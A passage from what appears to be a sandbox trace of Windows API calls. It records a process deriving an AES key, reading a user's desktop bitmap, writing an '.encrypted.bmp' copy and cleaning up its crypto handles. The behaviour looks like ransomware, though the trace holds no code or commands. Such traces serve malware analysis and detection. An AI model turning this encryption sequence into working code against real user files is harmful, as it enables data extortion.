cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.281] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.281] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0022.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.282] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.282] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.282] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0022.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.283] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.284] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.284] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.284] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.284] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.284] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.286] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.286] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x937c, lpOverlapped=0x0) returned 1 [0022.287] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.288] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.288] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.289] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.289] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.289] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.289] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.289] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.290] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.290] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.290] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.290] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.290] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.290] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.290] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.290] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.291] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.291] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.291] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.291] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x937c, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9380) returned 1 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.314] CharLowerBuffW (in: lpsz="byte[37761]", cchLength=0xb | out: lpsz="byte[37761]") returned 0xb [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.315] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.315] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41d30f0*, pdwDataLen=0xe8f3dfdf68*=0x937c, dwBufLen=0x9380 | out: pbData=0xe8f41d30f0*, pdwDataLen=0xe8f3dfdf68*=0x9380) returned 1 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.316] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.316] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.316] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.318] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.319] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.319] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.319] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.319] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.319] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.319] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.319] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.319] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.319] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.319] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.320] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.320] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.320] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.320] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.320] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.320] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 